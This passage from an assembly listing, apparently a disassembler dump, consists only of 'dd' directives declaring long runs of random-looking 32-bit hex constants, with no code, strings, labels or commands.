		dd 4993E566h, 84673BF8h, 4052EA66h, 4E2C70D8h, 0A016DEF5h
		dd 2BA7DEEDh, 2A1BFC69h, 4BA366Ah, 46F989ADh, 4B2AC0Dh
		dd 0D1ADFF7Eh, 17A4BF20h, 60B9057Bh, 0DF11A3B3h, 0B703F8C4h
		dd 0EE7DAF75h, 0E510D2EBh, 9D5D6EE0h, 35BBC4AEh, 3C1ED6F0h
		dd 3FE70F2h, 0F13D3437h, 0F853C54Eh, 0B45C039h,	0FF88B17Dh
		dd 3E7BEF8h, 3737A847h,	269ADBF0h, 0DD5E96FEh, 0F72FC857h
		dd 56E63C69h, 75EF83CFh, 3177B257h, 6D6BDAB3h, 7F2CB9AFh
		dd 17620262h, 7BE1EA5Eh, 69F3C31Fh, 0EEEDC215h,	75B06D43h
		dd 12FAC532h, 6AA7FEC6h, 0DFC3DD31h, 0D5A06D5Fh, 0D003F0FDh
		dd 0FD5805D8h, 44549CCCh, 2DF6AAF2h, 0F894853Ah, 4F134E46h
		dd 966E3E84h, 0CDA9D475h, 0B6371C35h, 0A9377A41h, 0F8BC58DAh
		dd 0E44970h, 774DA44Fh,	0F50A0DD2h, 4950D3BAh, 88896E6Fh
		dd 54A5D5F4h, 56A4D45Eh, 0D73632E5h, 63556AEBh,	32A78D7Dh
		dd 78A14E7Fh, 0D32E68F5h, 85FB55D7h, 203F797h, 79F59B09h
		dd 44BC1792h, 74FB3575h, 13A0F235h, 0AA564C0Fh,	0EB312984h
		dd 1CC38AAEh, 9E8CC05Fh, 0BA26B119h, 0BB6B337Fh, 0DD9FE734h
		dd 99CC4705h, 0DFA6C024h, 67B90A63h, 355D9832h,	2B2C387Eh
		dd 84A86960h, 553EB05Dh, 2AAF1176h, 6B450FAEh, 4B6E07D5h
		dd 0FA53FD76h, 4B7D9E5Dh, 47CD275Ch, 0FB79CAD1h, 38F702B7h
		dd 11776E68h, 0EB531AFAh, 2FEEACCAh, 0E302195Ah, 9C76A18Bh
		dd 0AFDFD676h, 28A05E96h, 5B6F23F8h, 0F46F6134h, 357CDC0Dh
		dd 25DBBD5Dh, 57910F54h, 68A08B28h, 3C082C83h, 20AD404Bh
		dd 0E07D9C8Bh, 44EAFB0Ch, 29935B68h, 6BA81CB2h,	0A2931DCEh
		dd 32DDA34Bh, 51CC7B38h, 515F2601h, 0E7D846E1h,	3E7BEE14h
		dd 0C60792AFh, 0D4585A1Ah, 0F975E797h, 626E2125h, 39F7B89Ch
		dd 62605F87h, 768B488Bh, 0CB326EC9h, 1521946Bh,	49DB9BD8h
		dd 0C3AF6EBEh, 0C9257484h, 0AC9E59E0h, 78A836B2h, 0F95E7ED7h
		dd 89267082h, 4E2FF03Eh, 5DA8BA55h, 0FC89F0E8h,	13D5B52h
		dd 0EA60FD23h, 25EC50C0h, 31A6E4D0h, 3D78FA53h,	0D56AE010h
		dd 0B9149E38h, 0F12CEE01h, 39A05DDBh, 3AA637ACh, 9B821DFDh
		dd 3F9BF971h, 8D1646FFh, 0F8C8DABBh, 0A5D1D3BCh, 0D5D78020h
		dd 35D74BB6h, 2FEB20EFh, 3AAACBEFh, 5254FF70h, 48A45824h
		dd 81C2BF98h, 70534B2Bh, 0B80ADF74h, 0BA6830F0h, 0D1192703h
		dd 2BC538B8h, 0E4050769h, 167163CDh, 0AE2458D0h, 1E92E1B2h
		dd 0A326E577h, 0CB6E2095h, 96AA0590h, 31ACE788h, 3B3C4EA1h
		dd 5943B578h, 0B4CD1E14h, 7C2E50F7h, 44A4B90Eh,	58967F8Dh
		dd 0D1EBD365h, 0DAF9B1BAh, 2C3B44C7h, 12E4A099h, 0BC18B3D3h
		dd 12486DD3h, 4C8FCFB0h, 2AA921F8h, 0C7702859h,	0A06144A4h
		dd 0FCB2F3D2h, 0FCAE9D52h, 0E205F2Fh, 6EE40F0Eh, 0EB05BBECh
		dd 2B6EDF57h, 50414B9Bh, 7305A2D3h, 7DAF6ADAh, 0E5656952h
		dd 0B5AAEAECh, 9790D488h, 0D59DA86Eh, 0A6B715F9h, 515128CBh
		dd 3F2B1EA2h, 0CB9AC4C2h, 0CD60ADC9h, 1E2E0D5Eh, 33B37CD1h
		dd 1E4A01C3h, 0F6D8E27Ch, 0A697A699h, 85FD0FE3h, 95DDA14Ch
		dd 5749C3D7h, 4319C5C4h, 7BE1E47Fh, 0A14E5FE5h,	3C022E7Fh
		dd 30CAA010h, 0B8959EB0h, 81E39D0Eh, 0BA59F2BBh, 768160B8h
		dd 0A406997Eh, 9E6C62E2h, 0C0D15FFh, 5FDFD626h,	0C7093AFBh
		dd 0B881AEFAh, 30FC34F7h, 42A556BEh, 25956E2Eh,	4CC7B51h
		dd 0A9770CEFh, 4FE05781h, 23570BA8h, 74E6E722h,	0A3A9B450h
		dd 0CF5DAA4Eh, 9CDFECACh, 0F315C38Bh, 0E047E633h, 0A6E57338h
		dd 5945E37Eh, 0C5924FF6h, 4D0C5347h, 0DBF5F814h, 6F9D6C30h
		dd 18627F9Dh, 9E430DD6h, 0AF74F68Eh, 13B20F34h,	94178D8h
		dd 521F5ABDh, 0F6E7E4DDh, 0C5DF80D1h, 1C5628BEh, 0E0299C09h
		dd 9106DFB7h, 0C7BF5B1Fh, 8D87512Ah, 0BE0783C9h, 0BF4F4F54h
		dd 0D4C39FFBh, 0F4903127h, 0AE9117D1h, 644DD488h, 5F86312Fh
		dd 4ADE2C8Dh, 0ED2ABBE2h, 40F8C0D5h, 1F02FD73h,	325355ACh
		dd 553C3013h, 0A8A5E0A3h, 0BAE9B179h, 25DD1144h, 0FB4AD412h
		dd 0EB70B415h, 0DDB15FE1h, 0F1F90A35h, 44E0FBC7h, 5661A8D7h
		dd 6E772FE0h, 0C98C3641h, 0B111C2A3h, 0D621F7A0h, 1FD8C28Ch
		dd 638E808Bh, 349807C4h, 1FA782EAh, 2ADC1FDCh, 6B039870h
		dd 4EFFC957h, 42BAB3B5h, 3C976DF6h, 0F36F6794h,	5FCC8530h
		dd 6535AE01h, 2957B12Eh, 0F1BF2F06h, 207A0D3Bh,	3778A85Ah
		dd 0D12DA2BDh, 10887CA3h, 9B4A5195h, 8E6585A2h,	3A3D50A9h
		dd 9CBFF025h, 13A8BBD4h, 0DDA587C9h, 0EBEA9813h, 0A3EE4DC7h
		dd 0FE3BEA7Fh, 5F5438B9h, 24096907h, 5C3F9C6Ch,	0DD279E28h
		dd 614C0049h, 0E443DAA8h, 6AC262D9h, 296E0FFBh,	27383981h
		dd 66E78A7Ch, 0BB549818h, 6AC06127h, 0CF033CF6h, 0BA6F11B0h
		dd 0F616D792h, 5C7D968Eh, 111F863Ch, 5A75136Fh,	88D583A7h
		dd 225FF556h, 0C34FD60Dh, 1EF34FD0h, 0F21A93D8h, 575A2EAAh
		dd 73102E04h, 76EA7A34h, 0AC11731Fh, 8EA8AEBDh,	0EEBA9AF0h
		dd 0EC406814h, 0B3D6E58Ch, 9024D518h, 716FDD52h, 0C291A87Bh
		dd 97E98241h, 94579DC8h, 85CA5438h, 9BC1812Ch, 57F2A568h
		dd 66A87F7Bh, 248388E9h, 0FE702F36h, 5075EFC7h,	0D5DC3311h
		dd 6C83EECFh, 0A8165F51h, 974B0338h, 11951D65h,	0C3F553BAh
		dd 0AAFD1B44h, 0AA1CB2E1h, 6E45A784h, 0D092B5FEh, 0DA842207h
		dd 902FC867h, 0AF66B646h, 0AE0F8B8Eh, 7842981Eh, 276A4322h
		dd 61FFC6EDh, 59728B16h, 0ABEC976Ch, 0AD90D03Ah, 71577B58h
		dd 0CF85FC3Dh, 0E398E314h, 0DEBD8703h, 0BBD68F6Dh, 0CA76AB5Ch
		dd 1C3C3155h, 6574F5FBh, 7AA48E4h, 6AFB1E4Fh, 0E43617A0h
		dd 8DDA6725h, 32FC69F2h, 0CD8CBBB6h, 84692D21h,	0CD5BBD2Fh
		dd 0CCA7BB52h, 9B6901ACh, 0F4C503D6h, 0AAA6F26Bh, 0C770B493h
		dd 0B74A007Fh, 0F791F3E4h, 184F4184h, 0F8A10D60h, 8562CAFCh
		dd 0BDF82B6Dh, 0DB90E667h, 0FB9062F3h, 3B7A1AC2h, 0A655FC64h
		dd 3FBCDC2Dh, 0B0AEECC2h, 0A8F5BEEAh, 1DB7A335h, 0FD7870D6h
		dd 8DB6F7B8h, 957BBFA3h, 0F89BC35Fh, 0D4B7F035h, 7C3F6CF4h
		dd 0AFAA0EEEh, 8A240D51h, 57A3BC5Eh, 0FA9B9C75h, 8424D344h
		dd 5DA38487h, 562FC38h,	78BF23BFh, 9964469h, 0FD4E62BBh
		dd 71318EC5h, 0C76956D7h, 1FAF2AE8h, 9C542638h,	45953FF5h
		dd 9D6B7EA9h, 0D7C6CB52h, 2ECADD7Dh, 5D304275h,	5B782110h
		dd 5B946C00h, 4F1E6281h, 9921F581h, 0ABAF0CA2h,	281A7A11h
		dd 0A4AEB9F6h, 3542BB6h, 560C7B15h, 0D06F876h, 6D67B145h
		dd 0C76898BFh, 18395205h, 0F95C06DCh, 59BB8EC3h, 0FAD63B3Bh
		dd 0ED9F2716h, 6CBEE48Fh, 0EC857712h, 3BD5F6D1h, 0EB229A84h
		dd 46DE573h, 9D99C4A8h,	1EDD723Ch, 0C2B7FBDh, 1AD4A57Fh
		dd 0D6E046ABh, 0EB2E6DA8h, 5F8D7DDBh, 7BD59F3Ah, 6EEC02AAh
		dd 0ACAA74CCh, 9D647DA2h, 6E94C422h, 9BB00557h,	9F47925Eh
		dd 9A4CF742h, 0B2719CF2h, 2F7EFF71h, 68CB3717h,	0EEAB56AFh
		dd 0EBFE11D8h, 0FB16F2B9h
		dd 981844DCh, 8C2F00EEh, 67BD773Fh, 16A1F43Ch, 78C5F435h
		dd 91DC1F9Ah, 4C8E87C1h, 82D86E9Bh, 4ECE2FA8h, 6B355C94h
		dd 0D3FEBC20h, 4EC53A7Ch, 306017A0h, 0EAB2B75h,	0A96CFB41h
		dd 0A6713199h, 1E8FFF42h, 0D314628Ah, 2DF3AAA0h, 0F0B7E0DAh
		dd 0A4231C5Dh, 2BE8271Eh, 6465664Fh, 0D97B392Ah, 0A420127h
		dd 60C652Bh, 0D229375Eh, 2EDA12B8h, 715733B2h, 0B8528CE1h
		dd 0F13F4B9Dh, 0E0EED0C0h, 526B0BD3h, 771178E4h, 47FE93BFh
		dd 4392FB9h, 5F43366Bh,	43C7A368h, 540A75A7h, 0A33C4DBFh
		dd 0A47826Ch, 785FAE9Dh, 0CF297F60h, 5DBE0508h,	7AB80CDCh
		dd 0EED77406h, 0E6BEAACAh, 2174614Ah, 0F12D12A3h, 2B2EA78Fh
		dd 341BFEECh, 5700FB75h, 0C1C04D9Eh, 58319B8Bh,	0FE1D97FBh
		dd 6DA6B612h, 0E7D6782h, 7355065Dh, 0E4796642h,	0BE257DE8h
		dd 0E8E0C5BAh, 0BFD452D2h, 71DA7E19h, 4EDC94ABh, 2BF79E78h
		dd 750BE5A0h, 0D14EEE13h, 4E912DB4h, 57AAB357h,	94C9AD7Dh
		dd 13BBADB2h, 0F2F1A43Fh, 0EBA582BAh, 4643EB9Ch, 1AFCAEBCh
		dd 0A83DB8FCh, 0BB85AC19h, 0B445E758h, 0BDC237DCh, 500EFAEEh
		dd 0FC1E90BFh, 7455FD2Eh, 0B3DD2C5Dh, 297CAA63h, 4EBA75Ah
		dd 6211F5C9h, 0B6FC186Bh, 0A360F66Dh, 4AC2CF57h, 30162E0Eh
		dd 5515C055h, 4950F7B4h, 0D02D89E6h, 7B77838Fh,	118B134Bh
		dd 1750B54Bh, 1A8578C9h, 0F7F56B2Dh, 744908CEh,	4D520754h
		dd 0A4C674C1h, 783F79C3h, 87FFD0DDh, 0EE651A00h, 0B55871F7h
		dd 6D14A66Ah, 8111C4C5h, 0EA43557Dh, 6C98D76Ah,	0F6AE1016h
		dd 0EFDC1773h, 8DA2D828h, 5F1366D8h, 81F3567Dh,	1ED95AE9h
		dd 0B6FF7AE6h, 0FEABC17Fh, 0CE97293Ah, 386099F5h, 2E166C81h
		dd 1D0F080Fh, 0B74A97D7h, 8F31C6F6h, 0A36BDBFh,	0C3AD13BEh
		dd 68A262FBh, 51C50B37h, 0B765E701h, 0C8E2F200h, 42D91152h
		dd 221256B3h, 42E337A2h, 6F16D745h, 398E2569h, 50DCE999h
		dd 0B702D25Eh, 14324D3Bh, 92EF6EABh, 0B75EEA0Bh, 78646D3Ah
		dd 4095C0ACh, 0A47F6EB9h, 0A6CCD141h, 3AD2901Dh, 290EA1F8h
		dd 3CD6ADBAh, 7CED7F09h, 6F347563h, 3541FD16h, 0AF868204h
		dd 87E24F03h, 9080FA12h, 0C8ECA775h, 4C59DEDAh,	0FC65FB8Bh
		dd 0E9F2043Dh, 0A3161094h, 0F0A05F7h, 78C67DABh, 9DF13719h
		dd 16F7DF4Fh, 87623BB4h, 0A5A5960h, 0DC5E60B9h,	0C377B9E0h
		dd 6A5C62FBh, 25DAFB33h, 61FFA15h, 56F37B9h, 3FDF9780h
		dd 5D4D5CC4h, 8379CD92h, 70B9FABEh, 238FEB76h, 5CEA7DA5h
		dd 16B49CC1h, 0CF05654Fh, 56064CEEh, 0D4F026D7h, 0E7839D85h
		dd 0FED6BD58h, 0BBE58373h, 0DA1C08BFh, 2AE9EDE5h, 0FA05E3B5h
		dd 0D6AD394Fh, 43F134EEh, 8DD163CAh, 0C85D7652h, 2368631Bh
		dd 88252D1Bh, 4EC1C42Bh, 0AAA75CBFh, 9C43CF81h,	6D2CB9F5h
		dd 68CD9F2Dh, 0AD6E96BDh, 7E22CB94h, 8CD4938h, 0F5B64348h
		dd 0E039D7F2h, 65D0E53Ah, 390827D9h, 0F386B3Bh,	40BB0D4Fh
		dd 5E232389h, 0AB4AEBAEh, 73D1C072h, 0E44A5D0Fh, 11E39429h
		dd 3ECB0E0Dh, 120A3B5Fh, 873AD4BFh, 81500114h, 6F815325h
		dd 3FDAE54Dh, 244E73A0h, 0BEECCE46h, 3093F565h,	54BAF079h
		dd 0FDD0FE3Bh, 37B72F3h, 2B12B4B8h, 0F952E900h,	0D66344B9h
		dd 0E6ABAAD0h, 5A2D65F2h, 806DDACFh, 0B3239E36h, 0A5226FB2h
		dd 532986AAh, 0B1287068h, 8DEF6F3Ch, 984C11AFh,	7625FBE7h
		dd 6267D77Ah, 57719AD1h, 0EA27CFFCh, 7893AA7Ah,	0EFCC02D0h
		dd 0D8056BB7h, 36987F17h, 0A8D4D68Fh, 0F90E3044h, 26072B2Ah
		dd 6A62D74Eh, 8F66CF2Bh, 2005B4BBh, 49382F68h, 6F30E0E0h
		dd 0F530BAC9h, 0B62F32F5h, 5906C772h, 77EB9209h, 2B3BC2D1h
		dd 8F121BC7h, 82FA921Fh, 6FA14D33h, 5220DD7Eh, 0D8CE8DD6h
		dd 0EC0D54A7h, 7237DBABh, 6C187EF1h, 0EF4F3E6Dh, 0A0EAF607h
		dd 1CE5BA53h, 7E1B5CD5h, 1F74A364h, 643B5912h, 2956F8B8h
		dd 20BB27D3h, 4A9D2E0Bh, 928D2BE8h, 7F6AC52h, 5D671FD0h
		dd 604FA60h, 8F034309h,	0EB3ABF46h, 0FCEFF6A9h,	8C9B3502h
		dd 8F9AE92Bh, 607583C6h, 0D4AF359h, 2A0236ABh, 66A8E333h
		dd 9B73A7E6h, 685FB03Fh, 0C58FA2FBh, 386FE299h,	0C6CE11FCh
		dd 0E30441ECh, 984B3BD5h, 0F73D43AEh, 0AD7D0F82h, 4A949580h
		dd 7F0863B0h, 38DC095Fh, 1F1E3289h, 430F4A34h, 0DFA603F2h
		dd 77D79761h, 13E99005h, 935387Eh, 3C1E2379h, 327CBD4Ch
		dd 35DE76A5h, 58E03C3Ch, 4809736Ch, 0A2AF2BB2h,	5B893E5Eh
		dd 0DB4BCDDDh, 7CB0056Fh, 4EB353B4h, 0A1F8C62Bh, 0FE7B71DBh
		dd 0B5CE68C5h, 25FC934h, 8F1F4B0Fh, 0F2151DACh,	3F3D1345h
		dd 750E2837h, 4435F2DAh, 25E06944h, 88EAB32Bh, 6B7E3EC4h
		dd 63C1F32Ah, 0E12AEAA6h, 5C3773CDh, 7D11E3A2h,	0B7FD5C35h
		dd 55B690AEh, 4CA0777Ah, 0E97410D4h, 4431F6B4h,	0B4FB02EAh
		dd 5FD75E1Dh, 3E8CFB45h, 0FCF09AE0h, 52F0C428h,	53709D6Ah
		dd 0C3A2C90Fh, 0CB74FD00h, 0D49800EBh, 62DEB343h, 0DD9E87CFh
		dd 0FD2BACD6h, 1802B868h, 0E39D8D0Ch, 0E11609B4h, 6FF8B071h
		dd 0F014D6A1h, 13EEA97Ch, 0EDD648B4h, 6C3F68A2h, 0B001DFCEh
		dd 0EB131F22h, 0EEFF646Fh, 0F8A9FE81h, 6D10158Bh, 0FB2954h
		dd 46EB399Fh, 0D02EA8BEh, 4EE5FF28h, 0C7DE364h,	0D148F9EBh
		dd 238B15B6h, 7653F156h, 17398805h, 0D582C9C5h,	0A31C85A5h
		dd 422F2495h, 28E5AEE5h, 5617F262h, 0E00A7FBBh,	0D13F97ADh
		dd 8F12EF79h, 0D1ADF07h, 0D7476B22h, 29E9F6ECh,	96AD14Ch
		dd 7AD5EA1Dh, 0BB10D4AFh, 569D4983h, 0E8F2C661h, 68DAB78Ah
		dd 79545FBh, 0F2219AAFh, 9AB60C99h, 59EFF862h, 0F424EEB1h
		dd 0BAD6B02Dh, 25C36BBDh, 0E45A8CCFh, 65D1E4C9h, 0F02C60C5h
		dd 0D1BEBA99h, 6B9F160h, 516CB061h, 0F51A707Ch,	0A66A0F4Fh
		dd 0A4C88865h, 80DBB351h, 0C3F1507Dh, 0AAAEDAF8h, 0C4B7D998h
		dd 7A9DC549h, 0EE7C2926h, 19545E9Ch, 7BD68D55h,	0F791B448h
		dd 6909CC4Ah, 7379104Bh, 0E4BFC0FBh, 5FCDF9FDh,	0C0978250h
		dd 0DFF7062Fh, 6F06622Bh, 1B09545Eh, 46564549h,	5E5B9ABAh
		dd 212D4527h, 0D705F564h, 0B14FDF9Ah, 0EADC0E7Eh, 9F29663Bh
		dd 68256BE2h, 5F249AD1h, 0EAEE1127h, 174C9168h,	0F9100ED3h
		dd 504673F4h, 0B5079D0Eh, 5745EDF1h, 72603319h,	0D968B4D8h
		dd 0F2F267DFh, 42B05034h, 0D2F68259h, 5A8EE80Ah, 1063B237h
		dd 0FF56E029h, 980ABBAAh, 0AB6A31B9h, 4AF8EC7Dh, 2EF5DE5Dh
		dd 2B3590F0h, 0E6FB3960h, 76EFDB25h, 62E243F0h,	82D4F062h
		dd 51C8BD8Eh, 0E5F9499Bh, 5528FD1Bh, 10253CE9h,	6FF66A4Dh
		dd 0BCC9FE26h, 0E6098F40h, 217D8EAh, 7A75B05h, 7BA8BD89h
		dd 0F7FD985Bh, 365771D2h, 7F8C1542h, 1CABA999h,	0DF442F42h
		dd 7174EFA5h, 5A8E34FFh, 0A79EF99Ch, 2E270283h,	5032BF41h
		dd 54B7305Ah, 0E5029CC9h, 0A3E31B19h, 88563AABh, 0F13B2EE6h
		dd 7F684B18h, 68AEE916h, 489A0349h, 9D062EFCh, 418C89Ah
		dd 0DF2D3B8Ah, 8A412BBh, 0FC64B238h, 0DD4DB350h, 0AC14DF04h
		dd 6861CFD6h, 3EF07769h, 698FE270h, 783E1EDEh, 0EB5C601Ah
		dd 64AA5555h, 2C8EB262h, 0F73D09A6h, 1448E1D8h,	86AAB6C5h
		dd 63CDBF7Ah, 0B54FA1B3h, 73F743F0h, 0D5804DC3h, 0A215B2BAh
		dd 85A3CDFh, 0A48FB525h, 0E2D41D59h, 6A3F0703h,	73C0AD11h
		dd 0D17CA242h, 0CE41E149h, 38A10A89h, 0FA21A2F1h, 8618714Bh
		dd 7368D2ACh, 9A4A0C3Bh
		dd 86274D15h, 3FAEF1CAh, 8399C011h, 16C6F7DFh, 0D5FCFDFDh
		dd 0A81ABD90h, 0EAAC7A39h, 0CD585FF2h, 0B3DCBE8Bh, 0D22B5EE9h
		dd 1D110B45h, 0FB47C2A3h, 9B93C8C5h, 33D9A95Dh,	0ED832B0Fh
		dd 0E4247F36h, 0F01595D5h, 0FEFC7499h, 4F63BAECh, 0DDB43E64h
		dd 0DBC49B02h, 36837A63h, 8CD4F62Bh, 4A59EBE9h,	4635A2EBh
		dd 0BABD0DC6h, 23F0DEB7h, 0E9D6819Bh, 7F27FC6Ch, 9EB27824h
		dd 7DD06053h, 31A82371h, 0F53331C5h, 78379CAFh,	0EB9E9E6Dh
		dd 228912E5h, 0FADD64AAh, 804E5CD1h, 0CA708908h, 0E219E6EFh
		dd 0E741ACEh, 50749C0Fh, 2C086661h, 9D28306Eh, 8F4BF2CAh
		dd 0C4DBF884h, 0D108B30Fh, 36D505D6h, 3398ABA9h, 0FA820E31h
		dd 82AB5FF4h, 8D6FAE92h, 75396A93h, 6383025Dh, 0EAD57E7Fh
		dd 9D5DFDDEh, 6B32835Bh, 0A05187E0h, 15475F7h, 0A33B510Dh
		dd 0D797BBB2h, 0A799A0C0h, 636FE3D8h, 0D7E65C5Eh, 7B03BD61h
		dd 7C1BCCC7h, 0AF8D2C47h, 0B5BB3F43h, 0E749F613h, 33216B86h
		dd 0E4D4F3A0h, 62C43181h, 6A7D7BFFh, 7F8E8ED9h,	62E34EA9h
		dd 4D9663F7h, 0F6D8AEF4h, 42E483CFh, 0D4EB848h,	0E32E2023h
		dd 57EE701Eh, 6A8F95B6h, 0F600DAC7h, 8FB40FB0h,	743AC765h
		dd 0A69353E0h, 9B870BD8h, 11AB3D6Eh, 643BA54Ah,	0AB0ED407h
		dd 0F2F4315Ah, 0F0980E9Fh, 0AC2B4968h, 0F3CF2B80h, 3BE86634h
		dd 0D79037Fh, 5A8B2D4Dh, 0CCB55502h, 81F57459h,	7F45F9C0h
		dd 0EEC736B1h, 7C0E79F2h, 8FBFCF95h, 33B84523h,	6CB01B45h
		dd 0FED07C9Eh, 125FF81Eh, 8D699F33h, 8A5A9D26h,	4ADA6CA0h
		dd 7DDF8ABCh, 160F8A5Bh, 58169F12h, 0A9A0020Ah,	80368ECAh
		dd 0F0FC98BEh, 6235F07Ah, 0C34065D7h, 170377CBh, 0E3C0A73Bh
		dd 0B43EE0F3h, 5F8653ABh, 0A5097C16h, 0D0AC67B6h, 38E507B0h
		dd 0ABBBCEFFh, 4BD45DA0h, 1409A859h, 12ADED45h,	0BEBC8702h
		dd 9C85D56Eh, 0FDB83DC1h, 8BBE3BE6h, 7EDAD8BEh,	0E55577C5h
		dd 0A8A29FEAh, 0E321FB99h, 4DA34A73h, 0C02281FDh, 0E22B5ABCh
		dd 0B4DAE534h, 0AFABA19Dh, 0D7F7753Ch, 0C5E43EA9h, 76A3E07Bh
		dd 0F6ADD591h, 21AAED95h, 0DBBD177Ah, 3EA5A2A3h, 522182ADh
		dd 434C53B4h, 26CBBA3Eh, 39FD5B39h, 3C07DC22h, 98A9B3FAh
		dd 0AAE4774Eh, 57D7ADEFh, 76E2823Ah, 2A779F64h,	0D193DF09h
		dd 9F7B40E4h, 0C1295100h, 0E5B1658Bh, 0E121FEF9h, 0A6BB3026h
		dd 2D4580CBh, 726F0607h, 7C9CD2A1h, 74E5E6ECh, 34BA33A7h
		dd 0E9227CE2h, 0A72DD842h, 0AE2D0843h, 3A57115Ch, 0CE4D04A3h
		dd 0BB135F9Eh, 318E3278h, 7F47DCE5h, 0EA0E07F7h, 0DBC086D4h
		dd 602595F6h, 0B119A6A1h, 0C4CFBD26h, 937A6B3h,	0F00B2A80h
		dd 0D111B2F0h, 0C6D8C889h, 0EB02CC2Eh, 0A5493BF9h, 0C66EA8F2h
		dd 78B4FA4h, 0C7D21772h, 4313771Fh, 0DFC4E1DEh,	0AAA92E13h
		dd 9F5891DBh, 0D0875A36h, 0F2F3C97Ah, 0EECF18C0h, 2AA6D85Ch
		dd 0A97AEFD0h, 1F2BE9F0h, 85D86BBBh, 0CCB5E32Dh, 870163D0h
		dd 3B5AE907h, 5D6DAE23h, 0A999193Ch, 2F81D6D0h,	93259068h
		dd 0A93C852Ah, 20E342D4h, 9E7D8733h, 5D21EEF8h,	7EC4C18Ah
		dd 5DC70499h, 35E0057Fh, 0FA20F905h, 4C852BF6h,	63A8A479h
		dd 0E70F55Ch, 0FF068EA9h, 29C4B030h, 0B90359BEh, 7CD1E8BDh
		dd 8123937Fh, 0FF0565A3h, 0AAF39CDDh, 66E8FE05h, 0B7DAAC40h
		dd 0A3F02BB8h, 0D3FF6224h, 0A548BE46h, 43687283h, 0BC088CE7h
		dd 939FA5AEh, 0DA8B92A9h, 9AAF914Ch, 2AA92DFBh,	6DC0E23Ah
		dd 9C19AAD9h, 0C2927CE3h, 0EB4DA45Fh, 0F3A658E2h, 57DE3521h
		dd 0EA3DC864h, 0C2BF25ABh, 32D111EDh, 0AC9035A0h, 7F9B20AAh
		dd 55ED0EA6h, 7C5D70A5h, 8E170DF4h, 0F977ADA9h,	0B7FA03C2h
		dd 144736F1h, 0C69289A1h, 38CEECF4h, 0FBF978E3h, 0CF028D87h
		dd 2602D716h, 0F8F46442h, 0F689BF0Bh, 657AE479h, 7D3B0F13h
		dd 16E6ACE0h, 8D7E8A21h, 6C6B0946h, 62F86B56h, 0B3C6A88Fh
		dd 95778ACBh, 853422D0h, 0B12D83C5h, 639919B7h,	352C5E77h
		dd 0B3486F6Dh, 88DB8F69h, 66AFAAADh, 7B7EBCF5h,	7E8A9CB4h
		dd 5AA3C72Ch, 0ACEEEC37h, 8D0C4D86h, 202E42A7h,	260BB35Bh
		dd 68454876h, 7950EC74h, 0F6DA7674h, 0C3F1CEBDh, 18A31AA7h
		dd 0E3BF7153h, 0E9BF141Bh, 0C0D43906h, 0E31CB46h, 67B026A4h
		dd 7DB1BC83h, 0BF097CF0h, 0A9F01C0Fh, 0B35F5DB4h, 0F62E71FFh
		dd 7DB567ADh, 3C9EB977h, 0A677DAD1h, 285EAA01h,	223326EBh
		dd 0D8B82B05h, 8AF5A177h, 0ACE0F948h, 0BB8DA9CEh, 57E9E4Fh
		dd 0CF4556F8h, 0EFF63796h, 0AE9976E3h, 4F9AFE9Eh, 3B98C40Fh
		dd 14EBA597h, 0ED4C9057h, 0B4A748EEh, 663DE337h, 0D7EDDF16h
		dd 0BAB6982Ch, 98F013D6h, 1A95D58Ch, 0CC9A386Dh, 8ABDC5D8h
		dd 68EAC6E5h, 0B76B3066h, 0B47D91ADh, 0F864F42Eh, 741556C0h
		dd 7A720469h, 0E35178A0h, 0F6F3D5AAh, 0DB9D3D08h, 0DAAF303Ch
		dd 6D069389h, 7DEB967h,	6E5A02D7h, 944DF057h, 8A6EC9ECh
		dd 83C99054h, 0C153DCDFh, 0A95C8344h, 7E42ABD4h, 0AC84B886h
		dd 0D7B2CDF7h, 0CA5A652Fh, 9C2AD42Ch, 7537301Dh, 69E51A08h
		dd 41033EAFh, 0F865311Ah, 8BEF6F76h, 7F8E97FEh,	0F9CA474Dh
		dd 46BD4021h, 0FCFE5D44h, 0F641FD15h, 0E2C04038h, 7A7957Eh
		dd 0A4127E91h, 0BBEF4B88h, 0FF5F9B6Ch, 0B76E1C4Ah, 0C00DCF86h
		dd 0AA89B0BBh, 5330C6D4h, 1FDA3DC2h, 0DC5DC044h, 97547134h
		dd 0F85DFFC7h, 37CCAE7Dh, 7C3B6AB7h, 0C9E4083Bh, 0FE617A92h
		dd 0F45A3AC6h, 524CDCFCh, 0FD47B3E3h, 8DB8A07Eh, 0F4AF5DF0h
		dd 281FDCD7h, 2DB339Dh,	8EDF7577h, 9D57D5BFh, 0A7FF3863h
		dd 1EB65ED9h, 47568398h, 185A03D5h, 3AD526B1h, 0B923E847h
		dd 0ED808981h, 84117631h, 28737C9Fh, 0CFAC4D92h, 6C0B05F4h
		dd 0A5D1CADFh, 0C04BF83h, 2B8B5E0Fh, 7E168E5Bh,	87648860h
		dd 739F59B4h, 1688A129h, 0C65447B5h, 0EA276F95h, 58BCE071h
		dd 23933BFCh, 0F3B5C544h, 591FF4EBh, 0B1312EA6h, 0E660B251h
		dd 0F42110C9h, 9C2C207Eh, 0EB2B99A8h, 0D355BFE3h, 49A7D8BAh
		dd 379AF4EBh, 105ABAA2h, 2A5D7D98h, 7C3928D7h, 8CDCA554h
		dd 0D995BBFEh, 0DBBF177Ch, 0A36992C8h, 0BA565FA5h, 505FB8C2h
		dd 0CB1C5289h, 0EDAE62B0h, 9023975Bh, 49D53A1Ah, 0AF4FAB9Ch
		dd 0F9469500h, 0FC341B2Bh, 6674F9B0h, 0B470455Fh, 224F2716h
		dd 0E67A757h, 3B94139Bh, 87F84A98h, 97930C8Ch, 86E6B695h
		dd 4F0B0875h, 37D611BCh, 0E5677351h, 0E30B9B4Dh, 48BB74BBh
		dd 123B2AE5h, 0EFD0F3B8h, 1CC4CA2Ah, 7BA54C13h,	0B3035036h
		dd 7F8AB3AAh, 0E55B046Eh, 0F722EAA0h, 6AEC833Ah, 998A5520h
		dd 0D987A4DBh, 0A4BA9B6h, 26A061C4h, 1A4244D7h,	3BD4D329h
		dd 78DBF820h, 1BDE80E0h, 0B9C09E26h, 0AD14EFA6h, 5BFC8F55h
		dd 0BE2E816h, 0D3C00BBDh, 0F139CB84h, 0F9F58942h, 10B243D9h
		dd 6BB94AD1h, 0D41E77FFh, 70DBFE7Bh, 8F11390Fh,	90E54557h
		dd 3345CB12h, 9CBF9188h, 3D3B9740h, 2117E020h, 0D016D407h
		dd 0AD537509h, 55EA4BB8h, 0A0466BE2h, 3F46BC9Eh, 46972918h
		dd 39A700C4h, 9F42A453h, 0E5A27736h, 0D45556A8h, 983F5D77h
		dd 0DB945DF1h, 55DB95E6h, 55B22E2Eh, 0F47DF2E7h, 0AC5223C1h
